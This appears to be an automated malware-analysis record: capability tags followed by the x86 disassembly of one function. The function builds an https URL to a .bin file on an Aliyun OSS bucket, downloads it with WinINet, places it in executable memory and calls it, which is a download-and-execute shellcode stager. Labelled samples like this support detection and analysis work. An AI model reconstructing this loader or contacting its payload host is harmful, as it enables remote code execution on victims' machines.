Function at 0x4025a0
Capabilities:
Allocate or change rwx memory
Create http request
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x424270
mov eax, dword fs:[0]
push eax
mov eax, 0x1020
call fcn.004092d0
mov eax, dword [0x430040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0x402100
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ecx + str.https:__zl_web_images.]
lea ecx, [ecx + 1]
mov byte [ecx + 0x431dbf], al
test al, al
jne 0x4025f0
mov edx, str.oss_cn_shenzhen.aliyun
mov esi, edx
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x402610
mov ebx, 0x431dc0
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402621
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.cs.com_8B2A3CB4FB3C4BB
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x402640
sub edx, esi
lea edi, [ebx - 1]
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402650
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.0B862DDA63616C614.bin
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x402670
sub edx, esi
dec ebx
nop word [eax + eax]
mov al, byte [ebx + 1]
inc ebx
test al, al
jne 0x402680
mov ecx, edx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
mov ecx, edx
and ecx, 3
push 1
rep movsb byte es:[edi], byte [esi]
push 0x42cb18
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
mov dword [ebp - 0x1024], ebx
test ebx, ebx
je 0x4026db
push 0
push 0x80000000
push 0
push 0
push 0x431dc0
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x4026e5
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x402926
xorps xmm0, xmm0
mov dword [ebp - 0x1014], 0
xor edi, edi
movq qword [ebp - 0x101c], xmm0
mov dword [ebp - 0x101c], 0
mov dword [ebp - 0x1018], edi
mov dword [ebp - 0x1014], edi
mov dword [ebp - 4], edi
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
nop dword [eax + eax]
lea eax, [ebp - 0x1020]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call ebx
test eax, eax
je 0x402759
push dword [ebp - 0x1020]
lea eax, [ebp - 0x1010]
push eax
push edi
lea ecx, [ebp - 0x101c]
call fcn.00405fe0
mov edi, dword [ebp - 0x1018]
cmp dword [ebp - 0x1020], 0
ja 0x402720
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x1024]
call esi
mov esi, dword [ebp - 0x101c]
cmp esi, edi
je 0x4027b8
push 0x40
push 0x1000
sub edi, esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x40279d
lea edi, [eax + 1]
jmp 0x4028f4
push edi
push esi
push ebx
call fcn.00409ac0
add esp, 0xc
call ebx
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, str.__get_timestamp___n
mov ecx, 0x4310c0
call fcn.004046f0
mov ecx, dword [0x7ffe0014]
mov eax, dword [0x7ffe001c]
sub ecx, 0xd53e8000
push 0
push 0x989680
sbb eax, 0
push eax
push ecx
call fcn.00423c50
push edx
push eax
call fcn.004029a0
mov edx, 0x42cb3c
mov ecx, eax
call fcn.004046f0
call fcn.0040cdde
mov edi, dword [0x7ffe0014]
mov ecx, edi
mov ebx, dword [0x7ffe001c]
sub ecx, 0xd53e8000
mov dword [ebp - 0x102c], eax
mov eax, ebx
push 0
push 0x989680
sbb eax, 0
push eax
push ecx
call fcn.00423c50
add eax, 0xf
mov ecx, edi
mov dword [ebp - 0x1028], eax
mov eax, ebx
adc edx, 0
sub ecx, 0xd53e8000
push 0
push 0x989680
sbb eax, 0
mov dword [ebp - 0x1024], edx
push eax
push ecx
call fcn.00423c50
cmp edx, dword [ebp - 0x1024]
ja 0x4028c8
jb 0x40286d
cmp eax, dword [ebp - 0x1028]
jae 0x4028c8
mov esi, dword [ebp - 0x1028]
mov ecx, 0x7ffe0014
lea edx, [ecx + 8]
nop dword [eax + eax]
mov eax, dword [ebp - 0x102c]
mov edi, dword [ecx]
inc eax
mov ebx, dword [edx]
mov ecx, edi
mov dword [ebp - 0x102c], eax
sub ecx, 0xd53e8000
push 0
mov eax, ebx
push 0x989680
sbb eax, 0
push eax
push ecx
call fcn.00423c50
cmp edx, dword [ebp - 0x1024]
mov ecx, 0x7ffe0014
lea edx, [ecx + 8]
jb 0x402880
ja 0x4028c2
cmp eax, esi
jb 0x402880
mov esi, dword [ebp - 0x101c]
push 0
sub edi, 0xd53e8000
push 0x989680
sbb ebx, 0
push ebx
push edi
call fcn.00423c50
push edx
push eax
call fcn.004029a0
mov edx, 0x42cb3c
mov ecx, eax
call fcn.004046f0
xor edi, edi
test esi, esi
je 0x402924
mov ecx, dword [ebp - 0x1014]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x40291a
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402942
push ecx
push esi
call fcn.00408384
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408341
mov esp, ebp
pop ebp
ret
call fcn.0040efed
int3